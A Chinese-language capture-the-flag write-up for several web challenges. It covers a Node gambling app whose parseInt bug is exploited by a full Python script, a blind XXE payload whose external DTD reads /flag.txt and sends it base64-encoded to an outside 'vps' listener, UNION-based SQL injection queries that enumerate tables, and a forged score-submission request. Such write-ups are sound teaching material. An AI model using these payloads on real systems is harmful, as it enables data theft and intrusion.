gamblecore

server.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
const express = require('express');
const session = require('express-session');
const crypto = require('crypto');
const path = require('path');
const bodyParser = require('body-parser');

const app = express();
const PORT = 3000;

app.use(bodyParser.json());
app.use(express.static(path.join(__dirname, 'public')));
app.use('/audio', express.static(path.join(__dirname, 'audio'))); // Serve mp3s from app root

app.use(session({
secret: crypto.randomBytes(32).toString('hex'),
resave: false,
saveUninitialized: true,
cookie: { secure: false }
}));

// Initialize wallet
app.use((req, res, next) => {
if (!req.session.wallet) {
req.session.wallet = {
coins: 10e-6, // 10 microcoins
usd: 0
};
}
next();
});

// Helper for secure random float [0, 1)
function secureRandom() {
return crypto.randomInt(0, 100000000) / 100000000;
}

app.get('/api/balance', (req, res) => {
res.json({
coins: req.session.wallet.coins,
microcoins: req.session.wallet.coins * 1e6,
usd: req.session.wallet.usd
});
});

app.post('/api/gamble', (req, res) => {
const { currency, amount } = req.body;

if (!['coins', 'usd'].includes(currency)) {
return res.status(400).json({ error: 'Invalid currency' });
}

let betAmount = parseFloat(amount);
if (isNaN(betAmount) || betAmount <= 0) {
return res.status(400).json({ error: 'Invalid amount' });
}

const wallet = req.session.wallet;

if (currency === 'coins') {
if (betAmount > wallet.coins) {
return res.status(400).json({ error: 'Insufficient funds' });
}
} else {
if (betAmount > wallet.usd) {
return res.status(400).json({ error: 'Insufficient funds' });
}
}

// Deduct bet
if (currency === 'coins') wallet.coins -= betAmount;
else wallet.usd -= betAmount;

// 9% chance to win
const win = secureRandom() < 0.09;
let winnings = 0;

if (win) {
winnings = betAmount * 10;
if (currency === 'coins') wallet.coins += winnings;
else wallet.usd += winnings;
}

res.json({
win: win,
new_balance: currency === 'coins' ? wallet.coins : wallet.usd,
winnings: winnings
});
});

app.post('/api/convert', (req, res) => {
let { amount } = req.body;

const wallet = req.session.wallet;
const coinBalance = parseInt(wallet.coins);
amount = parseInt(amount);
if (isNaN(amount) || amount <= 0) {
return res.status(400).json({ error: 'Invalid amount' });
}

if (amount <= coinBalance && amount > 0) {
wallet.coins -= amount;
wallet.usd += amount * 0.01;
return res.json({ success: true, message: `Converted ${amount} coins to $${(amount * 0.01).toFixed(2)}` });
} else {
return res.status(400).json({ error: 'Conversion failed.' });
}
});

app.post('/api/flag', (req, res) => {
if (req.session.wallet.usd >= 10) {
req.session.wallet.usd -= 10;
res.json({ flag: process.env.FLAG || 'EPFL{fake_flag}' });
} else {
res.status(400).json({ error: 'Not enough USD. You need $10.' });
}
});

app.post('/api/deposit', (req, res) => {
res.status(503).json({ error: 'Deposit unavailable at the moment' });
});

app.post('/api/withdraw', (req, res) => {
res.status(503).json({ error: 'Withdrawal unavailable at the moment' });
});

app.listen(PORT, () => {
console.log(`Server running on http://0.0.0.0:${PORT}`);
});

漏洞点:/api/convert 使用 parseInt 处理浮点余额

1
2
3
4
5
6
7
8
9
10
11
app.post('/api/convert', (req, res) => {
let { amount } = req.body;

const wallet = req.session.wallet;
const coinBalance = parseInt(wallet.coins); // <--- 关键
amount = parseInt(amount);
...
if (amount <= coinBalance && amount > 0) {
wallet.coins -= amount;
wallet.usd += amount * 0.01;
...

问题本质:wallet.coins 是 Number。JS 在对 Number 调用 parseInt 时,会先把它转成字符串再解析。

wallet.coins < 1e-6 时,String(wallet.coins) 会变成科学计数法,如:9e-7
parseInt(‘9e-7’) === 9、parseInt(‘1e-7’) === 1(parseInt 遇到 e 就停了)

于是我们只要把硬币余额先打到 < 1e-6,就能在余额实际上不足 1 枚硬币的情况下,通过 /api/convert 把 1~9 枚硬币兑换为美元,从而凭空生钱,并把 coins 扣到负数。之后不断爆破,一直到有一次连续赢三把就可以。

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import requests
import urllib3
import sys

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

URL = "https://chall.polygl0ts.ch:8148"

def solve():
attempts = 0
while True:
attempts += 1
print(f"[*] Attempt {attempts}")
s = requests.Session()

try:
bet_setup = 0.0000091
r = s.post(f"{URL}/api/gamble", json={'currency': 'coins', 'amount': bet_setup}, verify=False)
if r.json().get('win') is True:
continue

r = s.post(f"{URL}/api/convert", json={'amount': 9}, verify=False)
if 'success' not in r.text:
r = s.post(f"{URL}/api/convert", json={'amount': 8}, verify=False)
if 'success' not in r.text:
continue

bal_res = s.get(f"{URL}/api/balance", verify=False).json()
usd = bal_res['usd']

r = s.post(f"{URL}/api/gamble", json={'currency': 'usd', 'amount': usd}, verify=False)
if not r.json().get('win'):
continue
usd = r.json()['new_balance']

r = s.post(f"{URL}/api/gamble", json={'currency': 'usd', 'amount': usd}, verify=False)
if not r.json().get('win'):
continue
usd = r.json()['new_balance']

while 1 <= usd < 10:
r = s.post(f"{URL}/api/gamble", json={'currency': 'usd', 'amount': 1}, verify=False)
data = r.json()
usd = data['new_balance']
if data.get('win'):
break
print(f"[+] current USD: {usd}")
if usd >= 10:
r = s.post(f"{URL}/api/flag", verify=False)
print(f"FLAG: {r.json().get('flag')}")
break

except Exception:
continue

if __name__ == "__main__":
solve()

MagicAuth

Le Canard du Lac

vps上放一个test.dtd

1
2
3
<!ENTITY % file SYSTEM
"php://filter/read=convert.base64-encode/resource=/flag.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://vps:9090?flag=%file;'>">

然后监听9090端口

然后发送下面的payload即可

1
2
3
4
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://vps/test.dtd">
%remote;%int;%send;
]>

Good Ol’ Recipes

是用的模糊匹配来查询,比如可以输入%去查询,后面应该是sql注入

联合查询

1
2
3
4
5
6
7
8
9
%'union select 1,2,3,4,5#

%'union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema=database()#
表名是recipes

%'union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_name='recipes'#
列名有title,description,img,date,author

%'union select 1,2,(select group_concat(title) from recipes),4,5#

OG-Game 1

根据snake.js中的逻辑直接发包即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /api/submit-score HTTP/2
Host: snake1.challs.m0lecon.it
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://snake1.challs.m0lecon.it/game
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Content-Type: application/json
Content-Length: 33

{"score":1111,"playerName":"lzm"}